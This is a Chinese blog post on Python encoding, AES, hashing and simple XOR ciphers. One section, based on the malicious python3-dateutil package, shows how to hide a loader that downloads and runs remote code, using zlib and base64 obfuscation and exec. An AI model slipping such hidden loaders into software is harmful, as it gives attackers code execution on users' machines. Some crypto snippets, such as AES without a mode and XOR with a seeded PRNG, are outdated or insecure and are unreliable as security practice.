6

【加密】算法和实践

 3 years ago
source link: https://www.guofei.site/2019/06/29/crypto.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

【加密】算法和实践

2019年06月29日

Author: Guofei

文章归类: Python语法 ,文章编号: 1242


版权声明:本文作者是郭飞。转载随意,但需要标明原文链接,并通知本人
原文链接:https://www.guofei.site/2019/06/29/crypto.html

Edit

前言

为什么

  • 我们有时想埋入一些信息
  • 如果埋入文本,“几乎”可以等同于埋入了任何文件,因为可以把文件放网上,而埋入的文本就是链接。

怎么做

  • AES
    • 一种对称加密法,安全性很高
    • 用 binascii 对加密后的文本做进一步处理,提高安全性
  • 混沌加密法和随机数加密法(可以用于图像)
    • 生成随机数,让随机数与原数据求异或
    • 求两次异或还是本身。
  • base64,实际上既不是加密算法,也不是压缩算法。(可以用于图像)
    • 找64个字符,相当于6位二进制
    • 把3个8位二进制表示为4个6位二进制
  • zlib,不是加密算法,而是压缩算法

Python 常用的加密模块md5、sha、crypt

编码

进制

# str 转二进制
# 先转16进制,然后转10进制,然后转2进制。试了写用规则把16进制转2进制,耗时10倍
text_bin = bin(int(text.encode('utf-8').hex(), base=16))[2:]
# text_bit = (np.array(list(text_bin)) == '1')

# 二进制转文本
bytes.fromhex(hex(int(text_bin, base=2))[2:]).decode('utf-8')

base64

实际上不是加密算法,也不是压缩算法,而是一种“编码格式”,可以对文本和图片做编码。

先定义一个类似这样的数组

[‘A’, ‘B’, ‘C’, … ‘a’, ‘b’, ‘c’, … ‘0’, ‘1’, … ‘+’, ‘/’]

一共64个字符,还要加上 ‘=’ 作为填充字符
然后,每3个八进制数,可以转为4个64进制数。

import base64
s = '你好吗,123 hello'.encode('utf-8')  # unicode编码转byte类型
s_b64 = base64.b64encode(s)
s_origin = base64.b64decode(s_b64)  # 这个 s_b64 是 byte 格式。如果不是,会自动转为 byte 格式,结果不变
s_origin.decode('utf-8')

base64用于图像

# image转base64
import base64

with open("me.png", "rb") as f:
    base64_data = base64.b64encode(f.read())  # 返回byte格式

# 1. 打印文本
print(base64_data)

# 2. 或者按二进制写入
with open('1.txt', 'wb') as f:
    f.write(base64_data)

# 3. 如果用的是 jupyter, 可以直接输出图片
from IPython.core.display import HTML
HTML('<img src="data:image/jpg;base64,'+base64_data.decode('utf-8')+'"/>')



# %% base64 转 image
import os, base64

with open("1.txt", "r") as f:
    imgdata = base64.b64decode(f.read())
    file = open('1.jpg', 'wb')
    file.write(imgdata)
    file.close()

下面这个图是用这个方法做的,可以看看本页源代码。

python 加密

pip install pycryptodome

AES

text = '绝密:你好吗,中国。hello world!'.encode('utf-8')
password = '20190808'

from Crypto.Cipher import AES
import binascii

cryptor = AES.new(key='{:0<16}'.format(password))  # key 长度必须是16,24,32 长度的 byte 格式
ciphertext_tmp = cryptor.encrypt(text + b' ' * (16 - len(text) % 16))  # 明文的长度必须是16的整数倍
ciphertext = binascii.b2a_hex(ciphertext_tmp)  # 转16进制

加密后的文本

‘88e6eebf94962733887c2f40d21d07a10f93a4b4aee0a351bdbbef9140cda67ffba21c16531a0990be253af48e45aa8d’

AES.new(key='{:0<16}'.format(password)).decrypt(binascii.a2b_hex(ciphertext)).decode('utf-8') # key 长度必须是16,24,32 长度的 byte 格式

此外,还支持

  • 多种 hash 算法 https://www.pycryptodome.org/en/latest/src/hash/hash.html#modern-hash-algorithms

hashlib

import hashlib

# md5
hashlib.md5('你好,中国!'.encode('utf-8')).hexdigest()

# sha256
hashlib.sha256('你好,中国!'.encode('utf-8')).hexdigest()

# 还有另一种方式
md5 = hashlib.md5()
md5.update('First sentence'.encode('utf-8'))
md5.update('Second sentence'.encode('utf-8'))
md5.hexdigest()

典型用途:

  • 用户密码一般不明文存储,否则泄漏后后果严重。纯粹 hash 后的结果,用户输入的密码也做 hash 后与数据库对比。
  • 长url压缩
# pip install pycryptodome
from Crypto.Hash import SHA256

hash = SHA256.new(data=b'First')
hash.update(b'Second')
hash.update(b'Third')

text_hash = hash.digest()

混沌加密法

混沌加密法有两个关键技术点:

  1. 混沌迭代式 xn=uxn−1(1−xn−1),(u∈(3.5699456,4],x0∈(0,1))xn=uxn−1(1−xn−1),(u∈(3.5699456,4],x0∈(0,1)),呈现混沌性。一方面如果你不知道参数,你无法根据迭代结果求出参数;另一方面,如果你知道参数,那么每次迭代的序列都是一样的。
  2. a⊕b⊕b=a,∀a,ba⊕b⊕b=a,∀a,b,异或求两次还是自身

迭代加密/解密函数:
思路是,混沌迭代式的n到m位,与原序列求异或。

def func_chaos(password, input_data):
    u, x, n = password
    output_data = []
    for i in range(n):
        x = u * x * (1 - x)
    for i in input_data:
        x = u * x * (1 - x)
        output_data.append(i ^ (int(x * 127))) # 加密字符串时,是ascii码,所以是127。加密图像用255
    return output_data
input_data = 'http://www.guofei.site'
password = (3.7, 0.2, 10)
clear_data = [ord(i) for i in input_data]
cypher_data = func_chaos(password, clear_data)

cypher_text = [chr(i) for i in cypher_data]
print('加密后:')
print(cypher_data)
print(''.join(cypher_text))

解密,和加密完全一样

predict_data = func_chaos(password, cypher_data)
predict_text = [chr(i) for i in predict_data]
print('加密后:')
print(predict_data)
print(''.join(predict_text))

随机数加密法

文本加密

除了用混沌生成器之外,你还可以用随机数生成器

input_data = 'http://www.guofei.site/m/m.md' # 如果你加密对象是一个url,你就能存入大量信息
password = 0
np.random.seed(password)
cypher_data = [ord(i) ^ np.random.randint(127) for i in input_data]
''.join([chr(i) for i in cypher_data])
password = 0
cypher_str = 'D[\x010yTl\x10~$;\x15Q8 =1"I(\x12BxCw<\x0bt)'
np.random.seed(password)
clear_data = [chr(ord(i) ^ np.random.randint(127)) for i in cypher_str]
url=''.join(clear_data)
requests.get(url).content.decode('utf-8')

加密图像

  • 加密
    input_data = plt.imread('test.jpg')
    np.random.seed(0)
    cypher_data = input_data ^ np.random.randint(0, 255, size=input_data.shape)
    plt.imshow(cypher_data)
    
  • 解密
    np.random.seed(0)
    clear_data = cypher_data ^ np.random.randint(0, 255, size=cypher_data.shape)
    plt.imshow(clear_data)
    

图像盲水印

https://github.com/guofei9987/blind_watermark

  • 可以在图片中嵌入图片、bit数据
  • 抗旋转、裁剪等

应用举例

暗代码

(不要用来搞破坏。犯法,并且很容易被发现)
案例来自 python3-dateutil,本文去掉了恶意部分,原文见于 知乎

step1: 核心代码放网上,例子
这里作为demo代码如下:

print('Notice!')
print('You are in danger!')
print('Check your security strategy now!')

step2:触发代码+zlib压缩+base64隐藏

codes='''
try:
    try:from urllib2 import urlopen
    except:from urllib.request import urlopen
    exec(urlopen('http://img1.github.io/c/a.py').read())
except:pass'''

import zlib, base64

code_=base64.b64encode(zlib.compress(codes.encode('utf-8')))

step3:触发代码

import zlib,base64

CODE = ''
CODE += 'eJxtjT0OhSAQhHtOQSc0EF/pbRBX3URkXZZEb+9PLCzeVDOTLzNK+OiUvnSb'
CODE += 'kXPSlZcF+5/GRJnljplgfRjYI5B8McewVSjyn4Zo3sI0swh13mOaWjehzLV3'
CODE += 'mH30wdHR2GsnDMZa9V5QKOUEXQY1cg=='


exec(zlib.decompress(base64.b64decode(CODE)))

暗口令

# -*- coding: utf-8 -*-
import random
import zlib  # 用来压缩


class PositiveSpirit:
    # based on https://github.com/sym233/core-values-encoder
    def __init__(self, password=0):
        self.VALUE_WORD = ('富强', '文明', '和谐', '平等', "公正", '法治', "爱国", '敬业', '诚信', '友善'
                           , '幸福', '快乐', '向上', '积极', '乐观', '奋斗')
        self.HEX_WORD = list('0123456789abcdef')
        self.password = password
        # 加密
        random.seed(self.password)
        random.shuffle(self.HEX_WORD)
        self.encode_dict = {self.HEX_WORD[i]: self.VALUE_WORD[i] for i in range(16)}
        self.decode_dict = {self.VALUE_WORD[i]: self.HEX_WORD[i] for i in range(16)}

    def encode(self, ori_str):
        encrypt_str = zlib.compress(ori_str.encode('utf-8')).hex()  # 压缩
        encrypt_str = ''.join([self.encode_dict[i] for i in encrypt_str])
        return encrypt_str

    def decode(self, encrypt_str):
        part1, part2 = encrypt_str[::2], encrypt_str[1::2]
        encrypt_split = [part1[i] + part2[i] for i in range(len(part1))]
        encrypt_split = [self.decode_dict[i] for i in encrypt_split]
        return zlib.decompress(bytes.fromhex(''.join(encrypt_split))).decode('utf-8')


if __name__ == '__main__':
    ps = PositiveSpirit(password=1)
    str_encode = ps.encode('hello, 测试!' * 30)
    ps.decode(str_encode)

您的支持将鼓励我继续创作!

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK